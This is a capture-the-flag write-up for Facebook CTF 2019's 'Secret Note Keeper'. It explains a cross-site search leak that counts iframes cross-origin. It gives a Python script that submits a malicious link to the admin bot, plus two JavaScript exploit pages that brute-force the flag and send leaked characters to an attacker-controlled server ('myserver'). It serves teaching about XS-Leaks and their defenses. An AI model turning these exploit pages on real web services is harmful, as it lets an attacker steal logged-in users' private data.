secret note keeper -- Facebook CTF 2019
Secret Note Keeper
by mvs
Points: 676
Solves: 61
Description:
Find the secret note that contains the fl4g!
http://challenges.fbctf.com:8082
Same thing but in tokyo: http://challenges3.fbctf.com:8082/
(Timeout is 5 seconds for links, flag is case insensitive)
Solution
TLDR
Exploit a XS-Search vulnerability leveraging the Frame Count of a window reference (an iframe in this challenge).
Create an account and then a secret. While searching for secrets in the service, when a secret is found, an iframe is created displaying the secret. Since we can count the number of frames in a page cross-origin, we can leak the search results by brute forcing characters in the search query. If the number of frames is different then 0, then the search returned a result, if 0, no results were found. In the end, we just need to send the exploit to the admin, and we will get the flag after some time.
The Challenge
This challenge allowed us to create an account and create secrets that would be protected in the service. We could also search for the secrets we created. There was also a page where we could contact an admin and send a link, that would be visited by her/him.
Once we saw this service we automatically recognized this could be a XS-Search challenge by exploiting the search feature.
Introduction about XS-Search (XSLeaks)
XSLeaks are a very recent research topic regarding web exploitation. The main intention of these attacks is to leak information from a service by exploiting a user.
This attacks are performed Cross-Origin
and require that the exploited user is authenticated in the service. Since we are making requests from a different origin, Same Origin Policy won’t allow us to read the response we get from the request, so we need to use certain techniques that allow us to infer a certain difference based on the request we are making.
Read the If you’re Interested section to learn more about the topic.
Description
When we create a secret and search for it, we saw that for every secret that matched the search, an iframe would be created with the secret in it. As specified in the Cross-origin script API access, JavaScript APIs like iframe.contentWindow
allow us to access the iframe
window
reference Cross-Origin
under a different browsing context (reference to the standard).
Since this page did not have any X-Frame-Options
header we could leverage this technique to exploit the admin by sending her/him our exploit.
The vulnerability works as follows:
If we perform a search that returns 1 result, then 1 iframe
is created and we can get this number with the API referred above. If the search returns no results then no iframes
are created.
http://challenges.fbctf.com:8082/search?query=flag{
-> 1 iframe
is going to be created, so it’s a HIT!
http://challenges.fbctf.com:8082/search?query=flagggg{
-> no secrets matched then 0 iframes
created. It’s a MISS!
http://challenges.fbctf.com:8082/search?query=flag{th
-> HIT
http://challenges.fbctf.com:8082/search?query=flag{thi
-> HIT
http://challenges.fbctf.com:8082/search?query=flag{this
-> HIT
…
http://challenges.fbctf.com:8082/search?query=flag{this_a_flah
-> MISS
…
http://challenges.fbctf.com:8082/search?query=flag{this_is_flag
-> HIT
http://challenges.fbctf.com:8082/search?query=flag{this_is_flag}
-> HIT
Since we can infer whether the search returned a result or not, then we can leak the contents of the secrets! Or more important, THE FLAG!
To make the exploit we just need to brute force the search query with every ASCII
printable character. When we get a HIT we can append the current character to the current search and look for the next character. We just need to repeat this process until we get the complete flag.
The Exploit
Here is the python
script we used to submit the exploit URL to the admin.
import hashlib
import random
import string
import requests
import re
letters = string.ascii_lowercase
def randomString(stringLength=10):
return ''.join(random.choice(letters) for i in range(stringLength))
def proof_of_work(prefix):
hash_result = hashlib.md5(randomString()).hexdigest()
rs = ''
while hash_result[:5] != prefix:
rs = randomString()
hash_result = hashlib.md5(rs).hexdigest()
return rs
letters = string.ascii_lowercase
username = ''.join(random.choice(letters) for i in range(20))
password = ''.join(random.choice(letters) for i in range(20))
s = requests.Session()
s.post('http://challenges.fbctf.com:8082/login',
data={'username': username, 'password': password})
asd = s.get('http://challenges.fbctf.com:8082/report_bugs').text
prefix = re.findall(r'proof of work for (.*?) ', asd)[0]
pow_sol = proof_of_work(prefix)
print "POW Solution: " + pow_sol
s.post('http://challenges.fbctf.com:8082/report_bugs',
data={'title': 'sttftw', 'body': 'sttftw', 'link': 'http://myserver/sploit.html', 'pow_sol': pow_sol})
print "SENT"
We know beforehand that the flag prefix if fb{
so we know what to start looking for. We start the search with this prefix and perform a search for every character in the chars
list. When the frames.length
is different than 0, i.e, an iframe
was created, we make a request to ourselves to communicate the new character in the flag. After this, we append that character to the current search and move on with the search. Eventually, we will get the complete flag.
<!DOCTYPE html>
<html>
<head>
<title>fbctf secret note keeper</title>
</head>
<body></body>
<script>
var chars = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&\'()*+,-./:;<=>?@[\\]^`{|}~ ';
var charLen = chars.length;
var ENDPOINT = "http://challenges.fbctf.com:8082/search?query="
var x = document.createElement('iframe');
function search(leak, charCounter) {
var curChar = chars[charCounter];
x.setAttribute("src", 'http://challenges.fbctf.com:8082/search?query=' + leak + curChar);
document.body.appendChild(x);
console.log("leak = " + leak + curChar);
x.onload = () => {
if (x.contentWindow.frames.length != 0) {
fetch('http://myserver/leak?' + escape(leak), {
method: "POST",
mode: "no-cors",
credentials: "include"
});
leak += curChar
}
search(leak, (charCounter + 1) % chars.length);
}
}
function exploit() {
search("fb{", 0);
}
exploit();
</script>
</html>
This second exploit is an alternative. Instead of performing the search as a local function recursion, we can use URL parameters to call ourselves when a new character is found. By doing this we don’t need to explicitly send a request to ourselves to communicate the leaks.
<!DOCTYPE html>
<html>
<head>
<title>fbctf secret note keeper</title>
</head>
<body></body>
<script>
var chars = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"$%&\'()*+,-./:;<=>?@[\\]^`{|}~ ';
var charLen = chars.length;
var ENDPOINT = "http://challenges.fbctf.com:8082/search?query="
var LEAKURL = 'http://myserver/sploit.html?leak='
var FLAG_FORMAT = 'fb{'
var x = document.createElement('iframe');
function search(leak, charCounter) {
var curChar = chars[charCounter];
x.setAttribute("src", 'http://challenges.fbctf.com:8082/search?query=' + leak + curChar);
document.body.appendChild(x);
console.log("leak = " + leak + curChar);
x.onload = () => {
if (x.contentWindow.frames.length != 0) {
leak += curChar;
location.href = LEAKURL + escape(leak);
}
document.body.removeChild(x);
search(leak, (charCounter + 1) % chars.length);
}
}
function exploit() {
var brute = new URLSearchParams(location.search).get('leak') || FLAG_FORMAT;
console.log(brute);
search(brute, 0);
}
exploit();
</script>
</html>
The flag: fb{cr055_s173_l34|<5_4r4_c00ool!!}
If you’re Interested
These attacks are very cool, and they have a community working on them. You can check out this Github repository where you can find more techniques that can be used as a leverage to this attack. If you’re interested, you can contribute as well!
If you would like to see how companies like Google and Mozilla are preparing the defenses for this attacks you can check out what Chrome (also here and here) is doing regarding the implementation of new standards (and here) to kill this vulnerability.